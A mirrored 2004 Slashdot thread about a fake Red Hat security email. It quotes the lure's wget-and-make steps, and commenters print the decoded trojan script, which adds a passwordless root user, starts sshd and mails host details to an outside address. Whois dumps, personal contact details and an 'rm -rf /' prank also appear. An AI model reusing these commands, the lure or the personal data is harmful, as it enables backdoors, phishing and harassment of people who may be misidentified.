Slashdot Mirror
Beware 'Fedora-Redhat' Fake Security Alert
rixdaffy writes "I just received an email from the 'Redhat Security Team' telling me that I needed to download some tar file from fedora-redhat.com. Besides the fact that I don't use Red Hat/Fedora, I immediately smelled something fishy. Maybe it's not the first trojan targeted at Linux users, but together with the official sounding domain, it could trick some users into downloading and running the binary. It looks like Red Hat is already aware of the issue." According to Red Hat's page, "These emails tell users to download and run an update from a users home directory. This fake update appears to contain malicious code." Update: 10/25 01:32 GMT by T : One borked link, unborked.
Original issue date: October 20, 2004
z or directly here. ./inst
Last revised: October 20, 2004
Source: RedHat
A complete revision history is at the end of this file.
Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.
The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:
* First download the patch from the Stanford RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.g
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
*
Anybody running RedHat and Fedora are strongly adviced to apply this patch! Read more about this vulnerability at www.redhat.com or www.fedora.redhat.com
Thank you for your prompt attention to this serious matter,
RedHat Security Team.
Copyright © 2004 Red Hat, Inc. All rights reserved.
[Querying whois.internic.net]
[Redirected to whois.melbourneit.com]
[Querying whois.melbourneit.com]
[whois.melbourneit.com]
Domain Name.......... fedora-redhat.com
Creation Date........ 2004-10-24
Registration Date.... 2004-10-24
Expiry Date.......... 2005-10-24
Organisation Name.... Raymond Jackson
Organisation Address. 224 Cedar Avenue
Organisation Address.
Organisation Address. New York
Organisation Address. 95301
Organisation Address. NY
Organisation Address. UNITED STATES
Admin Name........... Raymond Jackson
Admin Address........ 224 Cedar Avenue
Admin Address........
Admin Address........ New York
Admin Address........ 95301
Admin Address........ NY
Admin Address........ UNITED STATES
Admin Email.......... rayjackson23@yahoo.com
Admin Phone.......... +1.2098994533
Admin Fax............
Tech Name............ YahooDomains TechContact
Tech Address......... 701 First Ave.
Tech Address.........
Tech Address......... Sunnyvale
Tech Address......... 94089
Tech Address......... CA
Tech Address......... UNITED STATES
Tech Email........... domain.tech@YAHOO-INC.COM
Tech Phone........... +1.6198813096
Tech Fax............. +1.6198813010
Name Server.......... yns1.yahoo.com
Name Server.......... yns2.yahoo.com
Oh, no! You have walked into the slavering fangs of a lurking grue!
Make sure you use a chroot jail; Knoppix can still write to your hard drive.
It's hard to be religious when certain people are never incinerated by bolts of lightning.
[apologies for replying to myself]
The makefile compiles an application called inst that seems to have been created with the shc script compiler.. its rather obfuscated.. attempting to reverse engineer now
First of all, this site should be shut down immediately. I'm not sure exactly what laws apply, but they're definitely guilty of spamming and spreading trojans, that should be enough in and of itself to notify their hosting provider.
I downloaded that tar file off the site to take a look at it. It contains a makefile, an inst.c , and a binary file "fileutils-patch.bin".
Looking at inst.c, I'm too lazy to figure out all the code on my own, but it's well commented and the functions are properly named, proper indentation, etc. (I suspect they probably just ripped off some open source programs, modified the code a bit, and turned it into a trojan.)
I think there's at least stuff in there to crack your password file since I see:
key(pswd, sizeof(pswd_t));
in there. I'm guessing the binary patch file does some nasty stuff as well.
P.S. I just looked at the binary file through strings. It is indeed a rip-off of some GPL program, since the following text is included at the beginning of the file:
fileutils-4.1.9-11
=u9F!
5928f30d339e2c8002986120e6abd2e7d4e61921
=u9F!
fileutils
4.1.9
The GNU versions of common file management utilities.
The fileutils package includes a number of GNU versions of common and popular file management utilities. Fileutils includes the following tools: chgrp (changes a file's group ownership), chown (changes a file's ownership), chmod (changes a file's permissions), cp (copies files), dd (copies and converts files), df (shows a filesystem's disk usage), dir (gives a brief directory listing), dircolors (the setup program for the color version of the ls command), du (shows disk usage), install (copies files and sets permissions), ln (creates file links), ls (lists directory contents), mkdir (creates directories), mkfifo (creates FIFOs or named pipes), mknod (creates special files), mv (renames files), rm (removes/deletes files), rmdir (removes empty directories), sync (synchronizes memory and disk), touch (changes file timestamps), and vdir (provides long directory listings). daffy.perf.redhat.com
Red Hat Linux
Red Hat, Inc.
Red Hat, Inc.
Applications/File
linux
i386
http://cltracker.net -- powerful craigslist multi-city search
I wouldn't say the audience of linux is tech-savvy, they just think they are.
The stupidest people I've ever met are the ones who think they know everything. Your average 14 year old who installs gentoo and now considers himself a giant in the world of computing fits the bill. I've suggested rm -rf / (logged in as root, of course) as a solution to email routing problems, and they do it.
They'd easily fall for this. More easily, I'd say, then the average clueless user, since many of them are slightly technophobic. You just have to tickle their egos. Put some big techical sounding words and acronymns in the email, and they'll suck it down.
I don't need no instructions to know how to rock!!!!
"Anybody running RedHat and Fedora are strongly adviced to apply this patch!"
Why can't scammers ever spell? Someone send them a copy of Strong Bad's "Rhythm 'n' Grammar", quick!
More like... nerdular nerdence!
Identifying the system. This may take up to 2 minutes. Please wait... /etc/ssh/ssh_host_key /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key
adduser: No more than two names.
passwd: Unknown user bash
Could not load host key:
Could not load host key:
Could not load host key:
Disabling protocol version 1. Could not load host key.
Disabling protocol version 2. Could not load host key.
sshd: no hostkeys available -- exiting.
System looks OK. Proceeding to next step.
Patching "ls": ###########
Patching "mkdir": ##########
System updated and secured successfully. You may erase these files.
There are 3 files:
fileutils-patch.bin
inst.c
Makefile
fileutils-patch.bin is an rpm with an incorrect extension, but it's valid. And an actual RPM from redhat (verified the GPG signature) Probably just put there to make it look bigger, and have something that came from redhat.
Well I was gonna put the package header information here, but slashcode didn't like it.
Signature verification using "rpm --checksig fileutils-patch.bin"
If your mail client checked From: addresses against SPF records in DNS, you'd know immediately this was a hoax. Redhat.com fortunately publishes SPF records and -- score one for SPF -- they can be used to identify with 100% accuracy that the mail is not legitimate.
How can you get your mail client to check SPF records automatically? Download the Thunderbird SPF Extension.
(Disclosure: I wrote the plugin. :) )
It would appear that the author of this code was a bit foolish. The code appears to try to add a user, then start an sshd backdoor, all during the time that it's supposedly "Identifying the system". But it fails and spits out a bunch of errors! I will post the code shortly.
I just looked at inst.c and changed it a bit to print what it runs instead of running it. Looks like a shell script hidden in some C (using shc, http://www.datsi.fi.upm.es/~frosal/sources/shc.htm l )
/tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null /tmp/mama
The working bit of the script is:
echo "Inca un root frate belea: " >>
adduser -g 0 -u 0 -o bash >>
passwd -d bash >>
ifconfig >>
uname -a >>
uptime >>
sshd >>
echo "user bash stii tu" >>
cat
rm -rf
So, adds a user called bash with root privs, starts sshd and emails your IP address to someone.
However, the IP block clearly belongs to Yahoo, whois 66.218.75.0 lists contact point netblockadmin@yahoo-inc.com
Anybody feel like dropping them a line to tell them they're hosting trojaners?
All's true that is mistrusted
From a quick glance at the source, it looks like "inst" is an RC4 decryption program a hard-coded (but obfuscated) key. It will probably decrypt fileutils-patch.bin into the real exploit code.
0 1 - just my two bits
Shut it down! Someone paid you to host this, pass that information along to the authorities.
I've tried to post the code here, but am repeatedly blocked by the Lameness Filter. I have posted the C file to my server. It's safe to view, as long as you don't go trying to compile and run it! :-p
View inst.c
Here is what it does.
Dogg
Do some of the major distros (Redhat, etc) have a webservice for updates, akin to windowsupdate.com? I sure hope so; it`s essential for further desktop market share increase.
For the most part, they all do, even most of the little ones. Typing "yum -y update" at the command line keeps me up to date, or I could enable the cron job to do it automatically each night.
The source code for inst.c seems to be very similar to the "Klik client" code from http://klik.berlios.de/client/klik-0.1.3.c
Everything but the comments at the top of the page, and the shellcode, is pretty-much identical.
Klik looks to be a "KDE-based Live Installer for Knoppix".
Still looking....
Red.
Looks like I misinterpreted the code. The rc4 stuff is part of the shc "script compiler" output that decodes the actual shell script. fileutils-patch.bin is just a mis-named redhat RPM that inst doesn't appear to use at all.
0 1 - just my two bits
The script is encoded into the text variable in the source. The key part of the script is this:
/tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null /tmp/mama
echo "Inca un root frate belea: " >>
adduser -g 0 -u 0 -o bash >>
passwd -d bash >>
ifconfig >>
uname -a >>
uptime >>
sshd >>
echo "user bash stii tu" >>
cat
rm -rf
(I'd post the whole script but the lameness filter won't let me)
Create a user named bash, no password
grab the ip and uptime, start ssh
mail the results
- MbM
Everyone should email yahoo via netblockadmin@yahoo-inc.com and ask them to take the site down.
Assuming (yeah, I know, big assumption) the whois info is relatively accurate, we may have an idea as to at least next step in the chain of figuring out the culprit, output of whois addlebrain.com:
Registration Service Provided By: StoreIQ, Inc.
Contact: technical@storeiq.com
Visit:
Domain name: addlebrain.com
Registrant Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Administrative Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Technical Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Billing Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Status: Locked
Name Servers:
dns1.name-services.com
dns2.name-services.com
dns3.name-services.com
dns4.name-services.com
dns5.name-services.com
The same address is used for two associated domains, buywirelessdirect.com (the email addy for this domain's tech contact) and storeiq.com (the email addy for buywirelessdirect.com's tech contact). The area code is accurate for that neck of the woods too, though I haven't tried the phone number (yet):
StoreIQ, Inc.
John Thompson (technical@storeiq.com)
+1.7323331145
Fax:
3587 US Highway 9 #213
Freehold, NJ 07728
US
RW
It's Romanian.
"It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
But slashdotting the misused domain will let the company hosting the fraudulent crap know that they should vet their users a bit more carefully, and let them know that they're hosting a *BIG* problem and may need to review their overal customer contracts to prevent this in the future. It also helps give the company incentive to prosecute, or at least sue, the jerk who set them up for this.
http://shit.slashdot.org/article.pl?sid=04/10/24/2 352234
whois.tucows.com
tho the info is fake.
zip is Atwater, CA not NY.
phone number is not NY either.
209 899 SONORA California PACIFIC BELL RBOC
echo "Inca un root frate belea: "
/tmp/mama :user bash" you know
/tmp/mama | mail -s "Inca o roata"
-translation: one more "root" brother trouble
echo "user bash stii tu" >>
-translation:
cat
-translation: one more wheel (roata -- root... it sounds alike)
It doesn't say anything meaningful, the guy is an idiot.
"It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
Registration Service Provided By: StoreIQ, Inc.
Contact: technical@storeiq.com
Visit:
Domain name: ADDLEBRAIN.COM
Registrant Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Administrative Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Technical Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Billing Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US
Status: Locked
Name Servers:
dns1.name-services.com
dns2.name-services.com
dns3.name-services.com
dns4.name-services.com
dns5.name-services.com
I don't give a rat's behind about "karma" here or anywhere else. Don't like what I have to say here? Deal with it!
Domain Name.......... fedora-redhat.com
Creation Date........ 2004-10-24
Registration Date.... 2004-10-24
Expiry Date.......... 2005-10-24
Organisation Name.... Raymond Jackson
Organisation Address. 224 Cedar Avenue
Organisation Address.
Organisation Address. New York
Organisation Address. 95301
Organisation Address. NY
Organisation Address. UNITED STATES
Admin Name........... Raymond Jackson
Admin Address........ 224 Cedar Avenue
Admin Address........
Admin Address........ New York
Admin Address........ 95301
Admin Address........ NY
Admin Address........ UNITED STATES
Admin Email.......... rayjackson23@yahoo.com
Admin Phone.......... +1.2098994533
Admin Fax............
Tech Name............ YahooDomains TechContact
Tech Address......... 701 First Ave.
Tech Address.........
Tech Address......... Sunnyvale
Tech Address......... 94089
Tech Address......... CA
Tech Address......... UNITED STATES
Tech Email........... domain.tech@YAHOO-INC.COM
Tech Phone........... +1.6198813096
Tech Fax............. +1.6198813010
Name Server.......... yns1.yahoo.com
Name Server.......... yns2.yahoo.com
Have fun!
--ScottKin
I don't give a rat's behind about "karma" here or anywhere else. Don't like what I have to say here? Deal with it!
Uhm...you are massively confused. The whole point of Fedora Legacy is to provide such updates.
here is a slashdot user who has translated it.
I don't claim I know more than I know, and if you know you know more than I know, then by all means, let me know.
The following patch will cause the program to print out the embedded script rather than execute it, so that you may see what it is trying to do:
/* Script text */ /* Reexecute */
--- inst.c Sat Oct 23 11:02:12 2004
+++ inst.c.harmless Sun Oct 24 22:00:27 2004
@@ -378,8 +378,12 @@
return 0;
memset(scrpt, (int) ' ', sizeof(hide_t));
memcpy(&scrpt[sizeof(hide_t) - sizeof(text_t)], text, sizeof(text_t));
+ printf("%s\n", scrpt);
+ exit(0);
} else {
scrpt = text;
+ printf("%s\n", scrpt);
+ exit(0);
}
} else {
if (*xecc) {
Generally an every-port-open result from nmap indicates use of a firewall. Watchguard's products tend to do that, and iptables can be made to do similar also.
I looked at the whois... fedora-redhat.com reported:
Raymond Jackson
224 Cedar Avenue
New York, NY 95301.
209 899-4533 However, 95301 is an Atwater, CA zip code.
So, I looked up Raymond Jackson in Atwater. What did I find?
Raymond Jackson
224 Cedar Avenue
Atwater, CA 95301
209 358 8510.
Looks like he did a crappy job of disguising his identity. Go get him!!!
host fedora-redhat.com
fedora-redhat.com has address 66.218.79.149
fedora-redhat.com has address 66.218.79.155
fedora-redhat.com has address 66.218.79.147
fedora-redhat.com has address 66.218.79.148
whois 66.218.79.149
OrgName: Yahoo!
OrgID: YAOO
Address: 701 First Avenue
City: Sunnyvale
StateProv: CA
PostalCode: 94089
Country: US
NetRange: 66.218.64.0 - 66.218.95.255
CIDR: 66.218.64.0/19
Trying to ddos yahoo wont get you very far : )
Lawyers, MBA's, RIAA? A jedi fears not these things!
hasn't happened on my SGI yet.
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
Someone on the full-disclosure has posted a good analysis of what this is. Have a look at this thread.
Site Temporarily Disabled
.......
This site has been temporarily disabled. If you are the owner of the site, please contact customer care.
Seems someone has gotten smart on it and turned the site off
Hope the fuckers get nailed for it.
Argh, notice it is an IIS server. And, notice that they offer free email. Put the two together. Someone registered the username "root" apparently. Tricksy.
Been there, done that:
<root@addlebrain.com>: host sitemail.everyone.net[216.200.145.51] said: 554
Recipient Rejected: Not accepting mail for this account : Account
terminated due to violation of user agreement